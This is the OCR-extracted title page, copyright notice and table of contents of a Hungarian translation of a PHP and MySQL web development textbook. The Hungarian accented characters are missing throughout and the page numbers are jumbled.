You are on page 1of 650

PH P s MySQL

webfejlesztknek
Hogyan ptsnk webru hzat?

Lu ke Weiling Laura Thomsan

PHP s MySQL webfejlesztknek - Hogyan ptsnk webcuhzat? 2010 Perfact-Pro Kft. Minden jog fenntartva!

ISBN 978-963-9929-13-5

A knyv eredeti cme: PHP and MySQL Web Development, 4th Edition A magyar kiadsrt felels a Perfact-Pro Kft. Authorized translation from the English Language edition, entided PHP and MySQL Web Development, 4th Edition 0672329166, by W ELLING, LUKE; T HOMSON, LAURA, published by Pearson Education, Inc. publishing as Addison Wesley Professional, Copyright 2009 Addison-Wesley. Ali rights reserverd. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, indudig photocopying, recording or by any information starage retrieval system, without pertnission from Pearson Education, Inc. HUNGARIAN language edition published by Perfact-Pro Kft., Copyright 2010 Perfact-Pro Kft.

Brmilyen msols, sokszorosts, illetve adatfeldolgoz rendszerben trtn trols a kiad elzetes rsbeli hozzjrulsa nlkl tilos. Az itt kzlt informcik kizrlag az olvas szemlyes hasznlatra kszltek. Jelen m felhasznlsa ms kny vekben, kereskedelmi szoftverekben, adatbzisokban csak a kiad elzetes rsbeli hozzjrulsval lehetsges. A szerz s a kiad a tle elvrhat legnagyobb gondossggal jrt el a knyv s a prograrnek ksztse sorn. A knyvben, illet ve a programokban tallhat esetleges hibkrt, hasznlatukbl ered esetleges krokrt sem a szerz, sem a kiad nem vllal semminem felelssget.

Fordtotta: Lnrt Szabolcs Szakmailag lektorlta: Kiss Klmn Nyelvileg lektorlta: Ksa Gyrgy Trdelte: Fontol Stdi

Felels kiad a Perfact-Pro Kft. gyvezet igazgatja l101 Budapest, Pongrc t 9/b. Tel: 260-0990 Fax: 431-0028 info@perfact.hu
www

.perfactkiado.hu

Tarralern

III

Tartalom

Bevezets

Vltoz vltozk
l l 2 2 2 3 4 5 5 6 6 7 7

21 21 22 22 23 23 23 25 26 26 27 28

Mirt rdemes elolvasni a knyvet? Mit tanulhatunk a knyvbl? Mi a PHP? Mi a MySQL? Mirt hasznljunk PHP-t s MySQL-t? A PHP legfbb erssgei Melyek a PHP 5 jdonsgai? A PHP 5.3 fbb jellemzi A MySQL legfbb erssgei Tmogats elrhetsge Melyek a MySQL 5 jdonsgai? Hogyan pl fel a knyv? Vgezetl
I. rsz A PHP hasznlata l. fejezet PHP gyorstalpal

llandk deklarlsa s hasznlata Vltozk hatkre Mveleti jelek hasznlata Aritmetikai mveleti jelek Karakterlncokon alkalmazhat mveleti jelek rtkad mveleti jelek sszehasonlt mveleti jelek Logikai mveleti jelek Bitmveleti jelek Egyb mveleti jelek Az rlap vgsszegnek kiszmtsa Mveletek elsbbsgi sorrendje s a csoportosthatsg Vltozkhoz kapcsold fggvnyek Vltozk tpusnak ellenrzse s belltsa

29 30 30 31 31 31 32 34 35 37 38 38 38

Vltozk llapotnak ellenrzse Vltozk tpuskonverzija Dntshozatal feltteles utastsokkal

ll ll 12 12 13 13 14 15 15 15 16 16 17 17 17 19 19 20 20 20 20 21

Kdblokkok A klnbz feltteles utastsok sszehasonltsa Mveletek ismtlse itercival


Kiugrs vezrlsi szerkezetbl vagy kdbl

Kezds eltt: a PHP elrse Mintaalkalmazs ltrehozsa: Bob autalkatrszek Rendelsi rlap ltrehozsa Az rlap feldolgozsa PHP begyazsa HTML-be PHP cmkk PHP utastsok Fehrkz karakterek Megjegyzsek Dinamikus tartalom hozzadsa Fggvnyhvsok A da te ( ) fggvny hasznlata Az rlapvltozk elrse Rvid, kzepes s hossz vltozk Karakterlncok sszefzse Vltozk s literlok Az azonostk Vltoztpusok A PHP adattpusai Tpuserssg foka Tpusknyszerts

Alternatv vezrlsi szerkezetek alkalmazsa A dec l a re szerkezet hasznlata Hogyan tovbb?


2. fejezet

Adatok trolsa s visszakeresse

39 39 39 40 40 40 41 42 43 44 44 44 45

Adatok elmentse ksbbi hasznlat cljbl Bob megrendelseinek el trolsa s visszakeresse Fjlok feldolgozsa Fjl megnyitsa A megfelel megnyitsi md kivlasztsa
Eijl megnyitsa az fopen() fggvnnyel

Fjlok megnyitsa FTP-n vagy HTTP-n keresztl Fjlmegnyitsi problmk kezelse Fjlba rs Az fwri te ( ) fggvny paramcerei Fjlformtumok Fjl bezrsa

IV

Tartalom

Olvass fjlbl Fjl megnyitsa olvassra: fopen () Ahol meg kell llnunk: feof()

47 48 48

Tmbn belli navigls: each(),current (),reset (),


end(),next (),pos

( ) s p rev() fggvny

69

Fggvny alkalmazsa tmb minden egyes elemre: arra y_


walk()

Beolvass soronknt: fgets() , fgetss() s fgetcsv ()


48

69

Tmbelemek szmllsa: count(),sizeof () s array_


count_values

A teljes fjl beolvassa: readfile(), fpassthru () s file() Karakter beolvassa: fgetc () Tetszleges mennyisg adat beolvassa: freact() Egyb hasznos fjlfggvnyek Fjl megltnek ellenrzse: file_exists () Fjlmret meghatrozsa: fil esi z e() Fjl trlse: unlink() Fjlon belli navigls: rewind(), fseek () s ftell ( )
50 49 49 50 50 50 50 50 4.

()fggvny

70 70 71 71

Tmbk talaktsa skalris vltozkk: extract () Tovbbi olvasnival Hogyan tovbb?

fejezet
73

Karakterlncok kezelse s regulris kifejezsek


Mintaalkalmazs ltrehozsa: intelligens zenetkld rlap Karakterlncok formzsa fggvny Karakterlncok formzsa megjelents cljbl Trolni kvnt karakterlncok formzsa: s stripslashes () fggvny

73 75

Fjlok zrolsa Egy jobb mdszer: adatbzis-kezel rendszerek Hogyan oldjk meg a relcis adatbzis-kezel rendszerek ezeket a problmkat? Tovbbi olvasnival Hogyan tovbb?
3.

51 52

Karakterlncok megvgsa: tr im(),ltrim () s rtrim()


75 75

Egyszer fjlok hasznlata esetn jelentkez problmk 52


52 53 53

addslashes ()

78

Karakterlncok egyestse s felosztsa sztringkezel fggvnyekkel Az explode(),implode () s j oin ()fggvny hasznlata


79

fejezet
55 55 56 56 56 57 57 57 57 58 59 59 62 62

79 79 80 80

Tmbk hasznlata
Mit neveznk tmbnek? Numerikusan indexelt tmbk Numerikusan indexelt tmbk ltrehozsa Tmb tartalmnak elrse Tmbelemek elrse ciklusokkal Nem numerikusan indexelt tmbk Tmb inicializlsa Tmbelemek elrse Ciklusok hasznlata Tmbmveleti jelek Tbbdimenzis tmbk Tmbk rendezse A sort() fggvny hasznlata Tmbk rendezseasort () s ksort () fggvnyekkel Fordtott rendezs Tbbdimenzis tmbk rendezse Felhasznl ltal meghatrozott rendezs Fordtott sorrendbe trtn felhasznli rendezs Tmbk trendezse A shuffle ()fggvny hasznlata Az array_reverse ()fggvny hasznlata Tmbk feltltse fjlokbl Tovbbi tmbkezelsi eljrsok

Az strtok ()fggvny hasznlata A substr ( ) fggvny hasznlata Karakterlncok sszehasonltsa Karakterlncok sorba rendezse: strcmp(),
strcasecmp ( )

s strnatcmp() fggvny
az

80

Karakterlnc hossznak megllaptsa fggvnnyel

strlen ()

81

Rszsztringek keresse s cserje sztringkezel fggvnyekkel Karakterlncok keresse karakterlncban: strstr(),


strchr (),strrchr stristr

81

( ) s
82

() fggvny

Rszszering pozcijnak megkeresse: strpos () s


strrpos()

82

Rszsztringek cserje: str_replace ( ) s substr_


62 63 63 63 64 64 65 66 66 68
replace() fggvny

83 83 84 84 85 85 85 85 86 86

Ismerkeds a regulris kifejezsekkel Az alapok Karakterkszletek s -osztlyok Ismtlds Rszkifejezsek Szmolt rszkifejezsek Karakterlnc elejhez vagy vghez rgzts gaztats Literlis klnleges karakterekhez illeszts

Tartalom

A klnleges karakterek ttekintse Az eddig tanultak alkalmazsa az intelligens rlapban Rszsztringek keresse regulris kifejezsekkel Rszsztringek cserje regulris kifejezsekkel Karakterlncok sztbontsa regulris kifejezsekkel Tovbbi olvasnival Hogyan tovbb?
5. fejezet

86 87 87 88 88 88 88

Osztlypldnyok ltrehozsa Osztlyattribtumok hasznlata Hozzfrs-szablyozs private s public kulcsszval Osztlymetdusok hvsa rklds megvalstsa PHP-ben Lthatsg szablyozsa rklds esetn a pr i vate s a proteeted kulcsszval Fellrs

110 110

112 112 113

113 114

Kd tbbszri felhasznlsa s fggvnyrs

89 89 89 89 90 90 90 91

rklds s fellrs megakadlyozsa a final kulcsszval A tbbszrs rklds Interfszek megvalstsa Osztlytervezs Az osztly kdjnak megrsa Halad objektumorientlt funkcik PHP-ben Osztlyon belli kanstansok hasznlata Statikus metdusok ltrehozsa Osztlytpus ellenrzse s tpusjelzs Ksi statikus ktsek Objektumok klnozsa Elvont osztlyok hasznlata Metdusok tbbszrs definilsa a -call() metdussal Az_autoleact {) fggvny hasznlata Itertorak s iterci ltrehozsa Osztlyaink talakitsa karakterlncokk A Reflection API hasznlata Hogyan tovbb?
7. fejezet 115 116 116 117 117 124 124 124 125 125 126 126

Kd tbbszri felhasznlsnak elnyei Kltsg Megbzhatsg Egysgessg


A require ( ) s az include () utasts hasznlata Fjlnvkitetjesztsek s a require {) utasts

A require {) urasrs hasznlata weboldalsablonokra


Az auto_prepend_file s bellts hasznlata
az

auto_append_file 95 96 96 97

Fggvnyek hasznlata PHP-ben Fggvnyhvs Nem ltez fggvny hvsa Kis- s nagybetle megklnbztetse fggvnynevekben Sajt fggvnyek definilsa Fggvnyek alapszerkezete Fggvnyeink elnevezse Paramterek hasznlata A hatkr fogalma Cm s rtk szerinti paramtertads A return kulcssz hasznlata rtkvisszaads fggvnyekbl Rekurzi megvalstsa Nvterek Tovbbi olvasnival Hogyan tovbb?
6. fejezet

97 97 98 98 99 100 102 103 103 104 105 105 106

126 127 127 129 129 130

Hiba- s kivtelkezels

131 131 132 133

Kivtelkezelsi fogalmak Az Exception osztly Felhasznl ltal meghatrozott kivtelek Kivtelek s a PHP tovbbi hibakezel mechanizmusai

Kivtelek Bob autalkatrsz-rtkest alkalmazsban 135


138 138 138

Objektumorientlt PHP

107

Tovbbi olvasnival Hogyan tovbb?

Ismerkeds az objektumorientlt programozs fogalmaival Osztlyok s objektumok Tbbalaksg rklds Osztlyok, attribtumok s metdusok ltrehozsa PHP-ben Osztlyszerkezet Konstruktorok Destruktorok
109 109 109 110 107 107 108 108

II. rsz A MySQL hasznlata 8. fejezet 139

Webes adatbzis megtervezse

141 141 141 142

Relcis adatbzissal kapcsolatos fogalmak Tblk Oszlopok

VI

Tartalom

Sorok rtkek Kulcsok Smk Kapcsolatok Webes adatbzis megtervezse Gondoljuk vgig a modellezett, vals vilgbeli objektumokat! Redundns adatok trolsnak elkerlse Atomi oszloprtkek hasznlata Vlasszunk rtelmes kulcsokat! Gondoljuk vgig, rnit szeretnnk az adatbzisbl megtudnil Kerljk a sok res tulajdonsgot tartalmaz kialaktst! Tblatpusok sszefoglalsa Webes adatbzis architektrja Tovbbi olvasnival Hogyan tovbb?
9. fejezet

142 142 142 143 143 144 144 144 145 146 146 146 147 147 148 148

10. fejezet

Munkavgzs MySQL adatbzisunkkal

165

Mi az SQL? Adatok beszrsa adatbzisba Adatok visszakeresse adatbzisbl Adott feltteleknek megfelel adatok visszakeresse Adatok visszakeresse tbb tblzatbl Adatok visszakeresse meghatrozott sorrendben Adatok csoportostsa s sszestse V isszakapni kvnt sorok kivlasztsa Egymsba gyazott lekrdezsek hasznlata Adatbzisban lv rekordok frisstse Tblk megvltoztatsa ltrehozsuk utn Rekordok trlse adatbzisbl Tblk trlse Teljes adatbzis trlse Tovbbi olvasnival Hogyan tovbb?
ll. fejezet

165 165 167 168 169 173 173 175 175 177 177 179 179 179 179 179

MySQL adatbzis elrse a webrl PHP-vel


149

181

Webes adatbzis ltrehozsa

Hogyan mkdnek a webes adatbzis-architektrk? Adatbzis lekrdezse a webrl A felhasznltl rkez adatok ellenrzse s szrse Kapcsolat ltrehozsa A hasznlni kvnt adatbzis kivlasztsa Az adatbzis lekrdezse A lekrdezs eredmnyeinek visszakeresse Kapcsolat bontsa az adatbzissal j informci felvitele az adatbzisba Elfordtott utastsok hasznlata Egyb PHP adatbzis-illesztsek hasznlata Tovbbi olvasnival Hogyan tovbb?
12. fejezet

181 184 184 184 185 185 186 187 187 189 190 192 192

A MySQL monitor hasznlata Bejelentkezs MySQL-be Adatbzisok s felhasznJk ltrehozsa Felhasznlk s jogosultsgok belltsa A MySQL jogosuJtsgi rendszernek bemutatsa A legkisebb jogosultsg elve Felhasznl belltsa: a GRANT parancs Jogosultsgok tpusai s szintjei A REVOKE parancs Pldk a GRANT s a REVOKE hasznlatra Webes felhasznl belltsa A megfelel adatbzis hasznlata Adatbzistblk ltrehozsa A tbbi kulcssz jelentsnek megismerse Az oszloptpusok Az adatbzis megtekintse a SHOW s a DESCRIBE paranccsal Indexek ltrehozsa MySQL azonostk Oszlopok adattpusainak kivlasztsa Numerikus tpusok Dtum s id tpusok Karakterlnc-tpusok Tovbbi olvasnival Hogyan tovbb?

150 150 151 151 151 151 151 152 154 154 155 155 156 157 157 159 159 160 160 160 162 162 164 164

Altalnos adatbzis-illeszts hasznlata: PEAR MDB2 190

Halad MySQL-adminisztrci

193

A jogosultsgi rendszer alaposabb megismerse A user tbla A db s a host tbla A tables_prv, a colurnns priv s a
-

193 194 195 196 197 197 198 198

procs_priv tbla

Hozzfrs-szablyozs: Hogyan hasznlja a MySQL a jogosuJtsgi tblkat? Jogosultsgok frisstse: Mikor lpnek letbe a vltoztatsok? MySQL adatbzisunk biztonsgoss ttele MySQL az opercis rendszer szemszgbl

Tartalom

VII

Jelszavak Felhasznli jogosultsgok Webes krdsek Tovbbi informcik begyjtse az adatbzisokrl lnformciszerzs a SHOW utastssal A lekrdezsek mkdsnek megismerse az EXPLAIN utastssal Adatbzisunk optimalizlsa Optimlisra tervezs Jogosultsgok Tblaoptimalizls lndexek hasznlata Alaprtelmezett rtkek hasznlata Tovbbi tippek Biztonsgi ments ksztse MySQL adatbzisunkrl MySQL adatbzisunk helyrelltsa Replikci megvalstsa A master kiszolgl belltsa A kezdeti adattvitel megvalstsa A slave kiszolgl vagy kiszolglk belltsa Tovbbi olvasnival Hogyan tovbb? 13. fejezet Halad MySQL-programozs A LOAD DATA INFILE utasts Trolmotorok Tranzakcik Tranzakcik hasznlata InnoDB tblkkal Kls kulcsok Trolt eljrsok Alapplda Helyi vltozk Kurzorok s vezrlsi szerkezetek Tovbbi olvasnival Hogyan tovbb? III. rsz E-kereskedelem s biztonsg 14. fejezet E-kereskedelmi honlap zemeltetse Mi a clunk? Az zleti weboldalak tpusai Fontos informci kzzttelnek elmulasztsa Termkekre vagy szolgltatsokra irnyul rendelsek

198 198 199 199 199

felvtele Szolgltatsok vagy digitlis termkek rtkestse Tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz Kltsgcskkents Kockzatok s veszlyforrsok megismerse Crackerek A kvnt zleti eredmny elmaradsa Szmtgpes hardverhibk Elektromos, kommunikcis vagy hlzati hibk Ers verseny Szaftverhibk Vltoz szablyozsi krnyezet s adjogszablyok Rendszer-kapacitsbeli korltok A megfelel stratgia kivlasztsa Kvetkez lpsek 15. fejezet Az e-kereskedelem biztonsgi krdsei A birtokunkban lv informci fontossga Biztonsgi fenyegetsek Bizalmas adataink kitettsge Adatveszts vagy -rongls Adatmdosts Denial of Service tmads

223 226 226 227 227 227 228 228 228 228 228 229 229 229 229

lnformciszerzs oszlopokrl a DESCRIBE utastssal 201 201 205 205 205 205 205 205 205 206 206 206 207 207 208 208 208

231 231 232 232 233 234 234 235 235 236 236 237 238 239 239 239 240 240 241 242 242 242 242 242 243

209 209 209 210 210 211 212 212 214 214 217 217

Szaftverhibk Le tagads Hasznlhatsg, teljestmny, kltsg s biztonsg Biztonsgi hzirend ltrehozsa A felhasznli hitelests alapelvei A titkosts alapjai Privt kulcs titkosts Nyilvnos kulcs titkosts Digitlis alrsok Digitlis tanstvnyok Biztonsgos webszerverek Auditls s naplzs Tzfalak Biztonsgi ments ksztse az adatokrl Biztonsgi ments ksztse ltalnos fjlokrl

A tranzakcikkal kapcsolatos defincik megismerse 210

219

MySQL adatbzisunk biztonsgi mentse s helyrelltsa Fizikai biztonsg

221 221 221 222

Hogyan tovbb? 16. fejezet Webes alkalmazsok biztonsga Biztonsgkezelsi stratgik Megfelel gondolkodsmd mr a tervezstl

Cges informci megjelentse online katalgusknt 221

245 245 245

VIII

Tartalom

A biztonsg s a hasznlhatsg kztti egyensly keresse Biztonsgi felgyelet Alapvet megkzeltsnk A rnk vr fenyegetsek azonostsa Bizalmas adatok elrse vagy mdostsa Adatveszts vagy -rongls Denial of Service tmads Rosszindulat kd befecskendezse Feltrt szerver Kikkel llunk szemben? Crackerek Fertztt gpek tjkozatlan felhasznli Elgedetlen alkalmazottak Hardvertolvajok Sajt magunk Kdunk biztonsgoss ttele Felhasznl ltal bevitt rtkek szrse A kimenet rtkeinek szrse vdkarakterekkel Kdjaink szervezse Mi kerl a kdunkba? A fjlrendszerrel kapcsolatos, megfontoland szempontok A kd stabilitsa s kdhibk Vgrehajt opertor s az
ex ee

17. fejezet 245 246 246 246 246 247 247 247 248 248 248 248 248 248 248 249 249 252 253 254 254 255 18. fejezet
Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel Hitelests megvalstsa PHP-vel s MySQL-lel

265 265 266 267 269 270 270 271

Ltogatk azonostsa Hozzfrs-szablyozs megvalstsa Jelszavak trolsa Jelszavak titkostsa Tbb oldal vdelme Alapszint hitelests hasznlata Alapszint hitelests PHP-ben Alapszint hitelests az Apache
.

htaccess fjljaival 272 275 275 275 276 276 276

A mod_auth_mysql hitelests hasznlata Amod_auth_mysql modul teleptse A mod_auth_mysql modul hasznlata Egyni hitelestsi folyamat ltrehozsa Tovbbi olvasnival Hogyan tovbb?

277 277 278 278 279 280 282 282 283 283 283 285 289 289

Biztonsgos tranzakcik megteremtse A felhasznl gpe Az internet Sajt rendszernk A Secure Sockets Layer (SSL) protokoll hasznlata Felhasznli bevitel szrse Biztonsgos trols megvalstsa Hitelkrtyaadatok trolsa T itkosts hasznlata PHP-ben A GPG teleptse A GPG tesztelse Tovbbi olvasnival Hogyan tovbb? IV. rsz
Halad PHP-mdszerek

parancs

255 256 256 257 258 258 259 259 260 260 260 261 261 261 262 262 262 262 263 263 263

Webszervernk s a PHP biztonsgoss ttele Tartsuk szaftvereinket naprakszen! A php. ini fj l tartalma A webszerver konfigurlsa Webes alkalmazsok hasztolsa fizets szolgltats ignybevtelvel Az adatbzisszerverek biztonsga Felhasznlk s a jogosuJtsgi rendszer Adatklds a szerverre Kapcsolds a szerverhez A kiszolgl futtatsa A hlzat vdelme Tzfalak teleptse DMZ hasznlata Felkszls a DoS s DDoS tmadsokra Szmtgpnk s az opercis rendszer biztonsga Tartsuk naprakszen opercis rendszernket! Csak azt futtassuk, amire valban szksg van! Kiszolglnk fizikai biztonsga Katasztrfa -elhrtsi terv Hogyan tovbb?

291

19. fejezet A fjlrendszer s a kiszolgl elrse Fjlfeltlts A fjlfeltlts HT ML kdja A fjlt kezel PHP kd megrsa A gyakori feltltsi problmk megelzse Knyvtrfggvnyek hasznlata Olvass knyvtrakbl lnformciszerzs az aktulis knyvtrrl Knyvtrak ltrehozsa s trlse A fjlrendszer elrse Fjlinformcik gyjtse 293 293 294 295 298 298 298 301 301 302 302

Tartalom

IX

Fjltulajdonsgok mdostsa Fjlok ltrehozsa, trlse s thelyezse Programfuttat fggvnyek hasznlata Krnyezeti vltozk elrse: a getenv () s a putenv () fggvny Tovbbi olvasnival Hogyan tovbb? 20. fejezet Hlzati s protokollfggvnyek hasznlata A hasznlhat protokollok ttekintse E-mail kldse s olvassa Ms weboldalak tartalmnak felhasznlsa Hlzati keresfggvnyek hasznlata Biztonsgi ments ksztse vagy fjl tkrzse Biztonsgi ments ksztse vagy fjl tkrzse FTP-vel Fjlfeltlts Idtllps elkerlse Tovbbi FTP fggvnyek hasznlata Tovbbi olvasnival Hogyan tovbb? 21. fejezet Dtum s id kezelse Dtum s id megllaptsa PHP-bl A date ( ) fggvny hasznlata Unix-idblyegek kezelse A getdate () fggvny hasznlata Dtumok ellenrzse a checkdate ( ) fggvnnyel Idblyegek formzsa Vlts PHP s MySQL dtumformtumok kztt Szmols dtumokkal PHP-ben Szmols dtumokkal MySQL-ben Mkroszekundumok hasznlata Naptrfggvnyek hasznlata Tovbbi olvasnival Hogyan tovbb? 22. fejezet Kpek elllitsa Kpi tmogats belltsa PHP-ben Kpformtumok JPEG PNG WBMP GIF Kpek ltrehozsa Rajzvszon ltrehozsa

304 304 304 306 306 306

Rajzols vagy szveg rsa kpre Kimenet ksztse a ksz grafikrl Erforrsok felszabadtsa Automatikusan ltrehozott kpek hasznlata ms oldalakon Szveg s betk hasznlatval ltrehozott kpek A rajzvszon belltsa A szveg hozzigaztsa a gombhoz A szveg elhelyezse

334 335 335 336 336 338 339 341 341 341 342 348 348 348

307 307 307 308 310 313 313 318 318 318 319 319

A szveg gombra rsa Befejezs brk s grafikonadatok rajzolsa Tovbbi kpkezel fggvnyek hasznlata Tovbbi olvasnival Hogyan tovbb? 23. fejezet Munkamenet-vezrls PHP-ben Mi a munkamenet-vezrls? A munkamenet alapjai Mi a sti? Stik bellitsa PHP-bl Stik hasznlata munkamenetekkel Munkamenet-azonost trolsa

349 349 349 349 350 350 350 351 351 351 351 351 352 353 354 359 359

321 321 321 322 323 324 324 326 327 328 329 329 329 329

Egyszer munkamenetek megvalstsa Munkamenet indtsa Munkamenet- vltozk regisztrlsa Munkamenet-vltozk hasznlata Vltozk trlse s a munkamenet megszntetse Egyszer plda munkamenetre Munkamenet-vezrls konfigurlsa Hitelests munkamenet-vezrlssel Tovbbi olvasnival Hogyan tovbb? 24. fejezet Tovbbi hasznos lehetsgek PHP-ben Karakterlncok kirtkelse az ev al () fggvnnyel Vgrehajts lelltsa: die (} s exit (} Vltozk s objektumok szerializlsa

361 361 361 362 363 363 363 363 364 364 365 365

331 331 332 332 332 332 332 333 333

Informcigyjts a PHP-krnyezetrl Milyen bvitmnyek lettek betltve? A kd tulajdonosnak azonostsa A kd utols mdostsi idpontjnak megllaptsa A futtatsi krnyezet tmeneti mdostsa Forrskd szinkiemelse PHP hasznlata parancssorban Hogyan tovbb?

Tartalom

V. rsz Gyakorlati PHP s MySQL projektek fejlesztse 25. fejezet A PHP s a MySQL hasznlata nagyobb projektekben A szaftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre Webes alkalmazs projektjnek tervezse s megvalstsa Kd tbbszri felhasznlsa Kezelhet kd rsa Programozsi szablyok Kdunk darabokra bontsa Egysges knyvtrstruktra hasznlata Fggvnyek dokumentlsa s megosztsa fejleszti csapaton bell Verzikvets megvalstsa A fejlesztkrnyezet kivlasztsa Projektjeink dokumentlsa Prototpuskszts A mkds s a tartalom sztvlasztsa Kdoptimalizls Egyszer optimalizcis lpsek Zend termkek hasznlata Tesztels Tovbbi olvasnival Hogyan tovbb? 26. fejezet Hibakeress Programozsi hibk Szintaktikai hibk Futsidej hibk Logikai hibk Hibakeress a vltozk tartalmnak kiratsval Hibajelentsi szintek A hibajelentsi belltsok mdostsa Sajt hibk kivltsa A hibakezels elegns mdja Hogyan tovbb? 27. fejezet Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse A megolds alkotelemei Felhasznli azonosts s szemlyre szabs A knyvjelzk trolsa Knyvjelzk ajnlsa A megolds ttekintse 391 391 391 392 392 392 379 379 379 380 384 385 387 388 389 389 390 374 374 375 375 375 376 376 376 377 377 378 378 370 370 371 371 373 373 369 369 367

Az adatbzis ltrehozsa A nyitoldal ltrehozsa A felhasznli hitelests megvalstsa Felhasznlk regisztrlsa Bejelentkezs Kijelentkezs Jelszvltoztats Elfelejtett jelsz visszalltsa Knyvjelzk trolsa s visszakeresse Knyvjelzk hozzadsa Knyvjelzk megjelentse Knyvjelzk trlse Knyvjelzk ajnlsa A projekt tovbbfejlesztsnek lehetsges irnyai Hogyan tovbb? 28. fejezet Kosr funkci programozsa A megolds alkotelemei Online katalgus ltrehozsa A felhasznJk ltal vsrls kzben megrendelt termkek nyomon kvetse Fizetsi rendszer megvalstsa Adminisztrcis fellet programozsa A megolds ttekintse Az adatbzis ltrehozsa Az online katalgus ltrehozsa Kategrik listzsa Adott kategria knyveinek listzsa A knyv rszletes adatainak megjelentse A kosr funkci megvalstsa A kosar_megjelenitese.php kd hasznlata A kosr megjelentse Termkek hozzadsa a kosrhoz A mdostott tartalm kosr mentse A fejlcen lthat sszefoglal adatok megjelentse A pnztrnl A fizets feldolgozsa Az adminisztrcis fellet megvalstsa A projekt tovbbfejlesztse Meglv rendszer hasznlata Hogyan tovbb? 29. fejezet Webalap levelezszolgltats ltrehozsa A megolds alkotelemei Levelezprotokollok: a POP3 s az !MAP sszehasonltsa POP3 s !MAP tmogatsa PHP-ben

394 395 396 397 401 404 405 407 411 411 413 414 416 418 418

419 419 419 419 420 420 420 423 425 426 428 430 431 431 433 435 437 437 438 442 444 450 450 450

451 451 451 451

Tartalom

XI

A megolds ttekintse Az adatbzis ltrehozsa A kd architektrjnak vizsglata Be- s kijelentkezs Felhasznli fikok belltsa j felhasznli fik ltrehozsa Meglv felhasznli fik mdostsa Felhasznli fik trlse Levl olvassa Postafik kivlasztsa Postafik tartalmnak megtekintse Levlzenet olvassa zenetfejlcek megjelentse zenet trlse Levlklds j zenet kldse Vlaszklds vagy levl tovbbtsa A projekt tovbbfejlesztse Hogyan tovbb? 30. fejezet
Levelezlista-kezel alkalmazs fejlesztse

452 454 455 460 462 463 464 464 465 465 467 469 472 472 473 473 474 476 476

31. fejezet
Webes frum fejlesztse

517 517 517 518 519 521 523 525 526 530 532 538 538 538

Gondoljuk vgig a feladatot! A megolds alkotelemei A megolds ttekintse Az adatbzis megtervezse A hozzszlsok fanzetnek megtekintse Kibonts s sszecsuks A hozzszlsok megjelentse A
cs

omopont osztly hasznlata

A hozzszlsok egyenknti megtekintse j hozzszls rsa A projekt tovbbfejlesztse Meglv rendszer hasznlata Hogyan tovbb? 32. fejezet
Perszonalzlt PDF dokumentumok elllitsa

539 539 539 542 542 542 544 545 546 548 550 553 553 556 562 562 562

A projekt ttekintse Dokumentumformtumok sszehasonltsa A megolds alkotelemei

477 477

Vizsgztatrendszer A dokumentum-elllt szoftver A megolds ttekintse A tesztkrdsek lekrdezse A vlaszok rtkelse RTF formtum oklevl ltrehozsa PDF formtum oklevl ltrehozsa sablonbl PDF dokumentum elllitsa PDFlib fggvnyekkel "Hell, vilg!" kd PDFlib fggvnyekkel Az oklevl ellltsa PDFlib fggvnyekkel Fejlcekkel kapcsolatos problmk kezelse A projekt tovbbfejlesztse Hogyan tovbb? 33. fejezet
Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

A megolds alkotelemei A levelezlistk s a feliratkozott felhasznJk adatbzisnak ltrehozsa Hrlevelek feltltse Csatolt llomnyokat tartalmaz levelek kldse A megolds ttekintse Az adatbzis ltrehozsa A kd architektrjnak meghatrozsa A bejelentkezs megvalstsa j felhasznli fik ltrehozsa Bejelentkezs Felhasznli funkcik megvalstsa Levelezlistk megtekintse Listainformcik megjelentse Levelezlistk archvumnak megtekintse Fel- s leiratkozs A felhasznli fik belltsainak megvltoztatsa Jelszavak megvltoztatsa Kijelentkezs Adminisztrtori funkcik megvalstsa j levelezlista ltrehozsa j hrlevl feltltse Egyszerre tbb fjl feltltsnek kezelse A hrlevl elnzetnek megtekintse A hrlevl kikldse A projekt tovbbfejlesztse Hogyan tovbb?

478 478 478 478 480 482 488 488 490 492 493 496 498 499 500 500 502 502 503 504 506 510 511 515 515

563

A projekt ttekintse: XML s a Web Services hasznlata Ismerkeds az XML-lel Web Services A megolds alkotelemei Az Amazon Web Services fellet hasznlata XML rtelmezse: REST vlaszok SOAP hasznlata PHP-vel Gyorsttrazs A megolds ttekintse Az alkalmazs magja 563 564 566 567 567 568 568 568 568 571

XII

Tartalom

Adott kategriban lv knyvek megjelemtse AmazonResultSet objektum lekrse Krs intzse s az eredmny visszakeresse REST segtsgvel Krs intzse s eredmny visszakeresse SOAP segtsgvel A krsbl szrmaz adatok gyorsttrazsa Vsrli kosr fejlesztse Fizets az Amazonnl A projekt kdjnak teleptse A projekt tovbbfejlesztse Tovbbi olvasnival
34. fejezet Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

576 578 585

Ajax elemek hozzadsa a PHPbookmark alkalmazshoz Tovbbi informci Bvebben a Document Object Modelrl (DOM) JavaScript knyvtrak Ajax alkalmazsokhoz Ajax-fejleszti weboldalak
A fggelk A PHP s a MySQL teleptse Az Apache, a PHP s a MySQL teleptse Unix alatt 621 621 622 622 626 626 627 628 628 629 630 631 632 609 618 618 618 619

591 592 594 597 597 598 598

Binris fjlok teleptse Forrs teleptse A httpd. conf fjl: kddarabok A PHP tmogats is mkdik? Az SSL mkdik?

599 599 600 600 601 601 602 602 602 602 604 605 606 609

Az Apache, a PHP s a MySQL teleptse Windows alatt A MySQL teleptse Windows alatt Az Apache teleptse Windows alatt A PHP teleptse Windows alatt A PEAR teleptse Egyb konfigurcik belltsa
B fggelk Webes forrsok 633 633 634 634 635

Mi az Ajax? HTTP krsek s vlaszok DHTML sX HTML Cascading Style Sheets (CSS) Kliensoldali programozs Szerveroldali programozs XML sX SLT Ajax alapok Az XMLHTTPRequest objektum Kommunikci a szerverrel A kiszolgl vlasznak feldolgozsa Tegyk ssze az egszet! Ajax elemek hozzadsa korbbi projektjeinkhez

Forrsok a PHP-rl MySQL-lel s SQL-lel foglalkoz forrsok Forrsok az Apache-rl Webfejleszts

Tartalom

XIII

Szerzk Laura Thomson vezet szoftvermrnk a Mozilla CorporationnL Korbban az OmniTI


